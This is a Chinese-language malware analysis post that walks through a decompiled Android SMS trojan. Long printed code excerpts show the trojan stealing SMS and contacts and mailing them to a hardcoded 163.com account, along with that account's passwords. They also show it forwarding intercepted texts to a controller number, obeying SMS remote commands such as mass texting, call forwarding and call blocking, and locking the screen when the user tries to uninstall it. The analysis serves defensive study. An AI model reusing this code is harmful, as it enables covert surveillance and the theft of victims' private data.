木马APP的简单分析(Android Killer分析)
本文作者:三星s7edge
一.此贴目的:分析一个木马APP样本的行为。—————————————————————————————
二.分析步骤及结果:
1.在模拟器上安装APP初步查看行为
由于给的样本中没有原来的APK文件,所以我只好用apktool进行了一次回编译并签名后得到了APK文件,才得以在模拟器上安装。
这里看出程序是获取锁定屏幕的权限。
以上是这款APP的权限,包括读取通讯录短信的敏感权限。
2.我将这个APP文件上传至哈勃分析系统
文件名称: | Project_Mod.apk |
---|---|
MD5值: | 773833c1e4632aaa6b000e891dc49d4b |
文件大小: | 439.98KB |
上传时间: | 2017-09-29 13:13:17 |
包名: | com.nai.ke |
最低运行环境: | Android 4.0, 4.0.1, 4.0.2 |
版权: | Android |
android.permission.WRITE_SMS 写短信 android.permission.READ_SMS 读取短信 android.permission.SEND_SMS 发送短信 android.permission.RECEIVE_SMS 监控接收短信 android.permission.INTERNET 连接网络(2G或3G) android.permission.READ_CONTACTS 读取联系人信息 android.permission.WRITE_CONTACTS 写入联系人信息 android.permission.WRITE_EXTERNAL_STORAGE 写外部存储器(如:SD卡) android.permission.PROCESS_OUTGOING_CALLS 监视、修改有关拨出电话 android.permission.READ_PHONE_STATE 读取电话状态 android.permission.CALL_PHONE 拨打电话 android.permission.WRITE_CALL_LOG 写入通话记录 android.permission.RECEIVE_BOOT_COMPLETED 接收开机启动广播 android.permission.DISABLE_KEYGUARD 禁用键盘锁 android.permission.WAKE_LOCK 手机屏幕关闭后后台进程仍运行至此其实就很清楚这个APP大概会在安卓系统里干些什么了。 3.现在将此APK文件反编译后的jar文件用Java Decompiler打开查看具体代码 由于此木马样本比较简单,我从头到尾翻了一遍代码,以下为较重要功能部分 在d.class中 获取[email]17828075791@163.com[/email]这个邮箱收到的邮件内容,有趣的是在邮箱后面还跟了一串字符串,是邮箱的密码。
public void a(String paramString1, String paramString2) { String str = l.a(this.c, "zzxx", "tel"); b localb = new b(); localb.a("smtp.163.com", "25"); try { localb.a("17828075791@163.com", str + "(***收到DX***)", "发信人:" + paramString2 + "-内容:" + paramString1); localb.a(new String[] { "17828075791@163.com" }); localb.b("smtp.163.com", "17828075791@163.com", "apowtzjtereitcao"); return; }在h.class中,拦截短信到并发送给15877587263
public h(String paramString1, String paramString2, Context paramContext) { this.a = paramString1; this.b = paramString2; this.c = paramContext; } protected String a(Integer... paramVarArgs) { publishProgress(new Integer[] { Integer.valueOf(1) }); a.b("拦截消息doInBackground"); a(this.a, this.b); return "doInBackground:" + paramVarArgs; } protected void a(String paramString) { a.b("拦截消息后发送结束:" + paramString); } public void a(String paramString1, String paramString2) { a.b("content:" + paramString2); String str1 = e.a(this.c, paramString1); paramString2 = a.c(paramString2); if (paramString2 == null) {} for (;;) { return; if (paramString2.size() == 1) { paramString1 = a.a(paramString1, str1, (String)paramString2.get(0)); if (a.a(paramString1)) { continue; } try { a.b("sendMsg " + "15877587263" + "," + paramString1); a.a("15877587263", paramString1); a.b("sendMsg over"); return; } catch (Exception paramString1) { a.b("sendMsg exception:" + paramString1.getMessage()); return; } } paramString2 = paramString2.iterator(); int j; for (int i = 1; paramString2.hasNext(); i = j) { String str2 = (String)paramString2.next(); j = i + 1; str2 = a.a(paramString1, str1, str2, i); if (!a.a(str2)) { try { a.b(j + "==sendMsg " + "15877587263" + "," + str2); a.a("15877587263", str2); a.b("sendMsg over"); i = j; } catch (Exception localException) { a.b("sendMsg exception:" + localException.getMessage()); } } } } } protected void b(Integer... paramVarArgs) { a.b("拦截消息后准备发送中"); } protected void onPreExecute() { a.b("拦截消息后准备发送"); } }在i.class中和dggng中的c.class,明显就可以看出通过短信远程操控的操作。
public void a(String paramString1, String paramString2) { SmsManager localSmsManager = SmsManager.getDefault(); Object localObject2; Object localObject1; Iterator localIterator1; switch (paramString1.hashCode()) { default: case 49: case 50: case 51: do { do { do { return; } while (!paramString1.equals("1")); l.a(this.e, "zzxx", "bo", "0"); localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null); return; } while (!paramString1.equals("2")); l.a(this.e, "zzxx", "bo", "1"); localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null); System.out.println(l.a(this.e, "zzxx", "bo")); return; } while ((!paramString1.equals("3")) || (k.a(this.e))); localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font],请留意邮件", null, null); this.b = new j(this.e); this.a = new c(this.e); localObject2 = (ArrayList)this.b.a(); localObject1 = this.a.a(); paramString1 = this.b.b(); paramString2 = "*************DXX*************<br><br>"; localIterator1 = paramString1.iterator(); label316: if (!localIterator1.hasNext()) { paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>"; paramString2 = ((HashSet)localObject1).iterator(); if (paramString2.hasNext()) { break label1340; } paramString2 = l.a(this.e, "zzxx", "tel"); localObject1 = new b(); ((b)localObject1).a("smtp.163.com", "25"); } break; } for (;;) { try { ((b)localObject1).a("17828075791@163.com", paramString2 + "(重新获取的短信录或通讯录)" + "机型:" + Build.MODEL + ",系统版本:" + Build.VERSION.RELEASE, paramString1); ((b)localObject1).a(new String[] { "17828075791@163.com" }); ((b)localObject1).b("smtp.163.com", "17828075791@163.com", "1634576908qq"); return; } catch (Addres**ception paramString1) { localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null); paramString1.printStackTrace(); Log.e("wxl", "Addres**ception", paramString1); return; if (!paramString1.equals("4")) { break; } l.a(this.e, "zzxx", "da", "1"); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); System.out.println(l.a(this.e, "zzxx", "da")); return; if (!paramString1.equals("5")) { break; } System.out.println("开始群发吗?"); this.a = new c(this.e); paramString1 = this.a.a(); if (l.b(this.e, "zzxx", "qf") != 0) { break; } localSmsManager.sendTextMessage("15877587263", null, "开始群发", null, null); paramString1 = paramString1.iterator(); if (!paramString1.hasNext()) { localSmsManager.sendTextMessage("15877587263", null, "群发结束", null, null); l.a(this.e, "zzxx", "qf", 1); return; if (!paramString1.equals("6")) { break; } localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; if (!paramString1.equals("7")) { break; } l.a(this.e, "zzxx", "qf", 0); localSmsManager.sendTextMessage("15877587263", null, "重置成功,请成功发送群指令", null, null); return; if (!paramString1.equals("8")) { break; } localSmsManager.sendTextMessage("15877587263", null, "指令不正确,重新发送", null, null); return; if (!paramString1.equals("9")) { break; } l.a(this.e, "zzxx", "xin", "1"); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; if (!paramString1.equals("10")) { break; } l.a(this.e, "zzxx", "xin", "0"); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; if (!paramString1.equals("11")) { break; } l.a(this.e, "zzxx", "da", "0"); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; if (!paramString1.equals("12")) { break; } l.a(this.e, "zzxx", "da", "1"); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; if (!paramString1.equals("13")) { break; } paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#")); paramString1.addFlags(268435456); this.e.startActivity(paramString1); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; if (!paramString1.equals("14")) { break; } paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#")); paramString1.addFlags(268435456); this.e.startActivity(paramString1); localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null); return; String str = (String)localIterator1.next(); paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR号码:" + str + "************************" + "<br>"; Iterator localIterator2 = ((ArrayList)localObject2).iterator(); paramString2 = paramString1; if (!localIterator2.hasNext()) { break label316; } paramString2 = (e)localIterator2.next(); if (!str.equals(paramString2.b())) { continue; } if (paramString2.d().equals("1")) { paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>"; continue; } paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>"; continue; localObject1 = (a)paramString2.next(); paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>"; } } catch (MessagingException paramString1) { label1340: localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null); paramString1.printStackTrace(); Log.e("wxl", "MessagingException", paramString1); return; } localObject1 = (a)paramString1.next(); localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", ""); if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) { localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null); } } } }值得注意的是在dggng中c.class的末尾 看出来作者可以有更改邮箱的操作 即控制客户期间可以随意更换目标邮箱 这里就是判断是否短信发送成功及接收成功 在love HssSeervice.class和MainService.class中都有类似的获取设备型号发送至邮箱的操作。 if (this.b.getInt(“IsFirstRun”, 1) == 1) { localObject1 = this.b.getString(“imsi”, c.k); if (this.b.getInt(“isAdminActive”, 0) != 1) { break label390; } new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号 : ” + (String)localObject1); if (c.a(love.qin.co.service.dggng.a.d)) { new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活,版本” + i + “\n” + “IMSI号: ” + (String)localObject1 + “\n” + “型号:” + Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j); } } for (;;) { localObject1 = this.b.edit(); ((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0); ((SharedPreferences.Editor)localObject1).commit(); a(); return; label390: new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号: ” + (String)localObject1); if (c.a(love.qin.co.service.dggng.a.d)) { new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活,版本” + i + “\n” + “IMSI号: ” + (String)localObject1 + “\n” + “型号:” + Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j); } } } 在love MyAdmin.class中,这里是判断客户是否激活了设备管理器 public class MyAdmin extends DeviceAdminReceiver { public void onDisabled(Context paramContext, Intent paramIntent) { super.onDisabled(paramContext, paramIntent); new a().a(“客户已经取消激活”); new e(“客户已经取消激活!”); } public void onEnabled(Context paramContext, Intent paramIntent) { super.onEnabled(paramContext, paramIntent); } public void onReceive(Context paramContext, Intent paramIntent) { super.onReceive(paramContext, paramIntent); System.out.println(“onreceiver”); } } 在love PhoService.class拦截短信并转发的具体代码
public class PhoService extends Service { String a = ""; int b = 0; Handler c = new b(this); private String a(List paramList) { StringBuilder localStringBuilder = new StringBuilder(); paramList = paramList.iterator(); for (;;) { if (!paramList.hasNext()) { return localStringBuilder.toString(); } Object localObject = (a1)paramList.next(); String str1 = ((a1)localObject).e(); String str2 = ((a1)localObject).f(); String str3 = ((a1)localObject).b(); localObject = ((a1)localObject).a(); localStringBuilder.append("-------------------------\n"); localStringBuilder.append(" " + (String)localObject + " " + str1 + " " + str3 + " " + " 短信内容" + "\n"); localStringBuilder.append(str2 + "\n"); } } private String a(List paramList, int paramInt) { String.format("%1$-80s", new Object[] { " " }); StringBuilder localStringBuilder = new StringBuilder(); paramList = paramList.iterator(); for (;;) { if (!paramList.hasNext()) { return localStringBuilder.toString(); } Object localObject = (Map)paramList.next(); String str = (String)((Map)localObject).get("name"); localObject = (String)((Map)localObject).get("number"); localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ": " + (String)localObject })); } } private List b() { ArrayList localArrayList = new ArrayList(); for (;;) { int i; try { Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc"); if (!localCursor.moveToNext()) { localCursor.close(); return localArrayList; } String str5 = localCursor.getString(localCursor.getColumnIndex("person")); String str6 = localCursor.getString(localCursor.getColumnIndex("address")); String str4 = localCursor.getString(localCursor.getColumnIndex("body")); String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date"))))); i = localCursor.getInt(localCursor.getColumnIndex("type")); if (i == 1) { String str1 = "接收"; continue; localArrayList.add(new a1(str5, str6, str3, str7, str1)); continue; str1 = "草稿"; String str3 = str4; if (str4 != null) { continue; } str3 = ""; continue; } if (i != 2) { break label265; } } catch (SQLiteException localSQLiteException) { return localArrayList; } String str2 = "发送; continue; label265: if (i == 0) { str2 = "未读"; } } } [b][color=#0000ff]在love d.class中是在执行获取所有历史短信[/color][/b] [mw_shl_code=java,true] public void run() { try { Object localObject1 = new g(this.a.getApplicationContext()); String str = ((g)localObject1).c(); Object localObject2 = ((g)localObject1).b(); localObject1 = localObject2; if (localObject2 == null) { localObject1 = ""; } if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {} for (localObject1 = "电话:" + (String)localObject1 + "的所有短信记录;; localObject1 = "IMSI:" + str + "的所有短信记") { str = PhoService.a(this.a, PhoService.a(this.a)); localObject2 = localObject1; if (str.length() <= " ".length()) { localObject2 = localObject1 + " 客户手机限制,获取历史短信失败"; } localObject1 = new h(); love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c(); localc.a(a.i); localc.b(a.r); localc.a(true); localc.f(a.f); localc.d(a.g); localc.c(a.f); localc.e(a.h); localc.g((String)localObject2); localc.h(str); ((h)localObject1).a(localc); } } }在e.class中是在执行获取通讯录 public void run() { try { Object localObject1 = new g(this.a.getApplicationContext()); String str = ((g)localObject1).c(); Object localObject2 = ((g)localObject1).b(); localObject1 = localObject2; if (localObject2 == null) { localObject1 = “”; } if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {} for (localObject1 = “电话:” + (String)localObject1 + “的通讯录”;; localObject1 = “IMSI号” + str + “的通讯录”) { localObject2 = this.a.a(); str = PhoService.a(this.a, (List)localObject2, 1); localObject2 = localObject1; if (str.length() <= “ “.length()) { localObject2 = localObject1 + ” 客户手机限制,获取通讯录失败”; } localObject1 = new h(); love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c(); localc.a(a.i); localc.b(a.r); localc.a(true); localc.f(a.f); localc.d(a.g); localc.c(a.f); localc.e(a.h); localc.g((String)localObject2); localc.h(str); ((h)localObject1).a(localc); 在x.x.x FSR.class中是在记录手机当前是否在通话中 [b][color=#0000ff] [/color][/b] public void onReceive(Context paramContext, Intent paramIntent) { Object localObject = paramContext.getSharedPreferences(“zzxx”, 0); String str = ((SharedPreferences)localObject).getString(“bo”, “1″); localObject = ((SharedPreferences)localObject).getString(“da”, “0″); Log.i(“PhoneStatReceiver”, str); if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”)) { paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”); System.out.println(“正在打电话”); if (localObject == “1″) { System.out.println(“打不出电话”); setResultData(null); } Log.e(“msg”, “call OUT:” + paramContext); } do { return; this.a = ((TelephonyManager)paramContext.getSystemService(“phone”)); switch (this.a.getCallState()) { default: return; case 0: Log.e(“tag”, “电话空闲”); return; case 1: Log.e(“tag”, “电话已挂断”); } } while (str != “0″); a(); return; Log.e(“tag”, “电话已摘机”); } } [color=#0000ff][b]在[/b][/color][b]x.x.x [/b][color=#0000ff][b]PAR.class中 通过[/b][/color][b][color=#0000ff]sendTextMessage发送短信告知鱼试图逃跑,即卸载程序[/color][/b] public class PAReceiver extends DeviceAdminReceiver { public CharSequence onDisableRequested(Context paramContext, Intent paramIntent) { paramIntent = l.a(paramContext, “zzxx”, “tel”); com.b.a.a.b.a(paramIntent); if (l.b(paramContext, “zzxx”, “pop”) == 0) { l.a(paramContext, “zzxx”, “pop”, 1); SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “鱼试图逃跑”, null, null); new a(this).start(); } paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”); paramIntent.setFlags(268435456); paramContext.startActivity(paramIntent); paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”); paramContext.lockNow(); new Thread(new b(this, paramContext)).start(); return “”; } public void onDisabled(Context paramContext, Intent paramIntent) {} public void onEnabled(Context paramContext, Intent paramIntent) { com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”)); new c(this).start(); super.onEnabled(paramContext, paramIntent); } } 在x.x.x a.class中 通过发送邮件告知鱼试图逃跑,也是在程序卸载时触发
public void run() { System.out.println("执行发送邮件"); com.b.a.b.b localb = new com.b.a.b.b(); localb.a("smtp.163.com", "25"); try { localb.a("17828075791@163.com", "安装激活" + com.b.a.a.b.b() + "机型" + Build.MODEL + "系统型号:" + Build.VERSION.RELEASE, "哈哈鱼到碗里来了"); localb.a(new String[] { "17828075791@163.com" }); localb.b("smtp.163.com", "17828075791@163.com", "1634576908qq"); return; } catch (Addres**ception localAddres**ception) { localAddres**ception.printStackTrace(); Log.e("wxl", "Addres**ception", localAddres**ception); return; } catch (MessagingException localMessagingException) { localMessagingException.printStackTrace(); Log.e("wxl", "MessagingException", localMessagingException); } } }三.总结 此贴仅为简单APP木马分析,能看出这是一款典型的远程手机短信邮件控制的木马程序,危害性挺大的,一般普通用户中毒后基本无法察觉。 自我反思:在学习分析这个APP过程中,虽然能大概根据中文看出代码意思,但是显得很突兀,很多函数间的调用和联系没能准确看出来,文章感觉条理不是太清晰,感觉自己太菜了。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 澳门是伟大祖国的一方宝地 7972852
- 2 80岁顶级富豪再婚娶33岁华裔妻子 7987545
- 3 星巴克大罢工 7843733
- 4 2024 向上的中国 7707798
- 5 赵丽颖带儿子探班 7632059
- 6 男子钓上一条自带“赎金”的鱼 7502758
- 7 美国女子在地铁上被男子点燃身亡 7459344
- 8 柳岩谈44岁女演员的尴尬 7355118
- 9 唐尚珺35岁读大一 7220511
- 10 武警江西省总队原总队长施文求逝世 7150484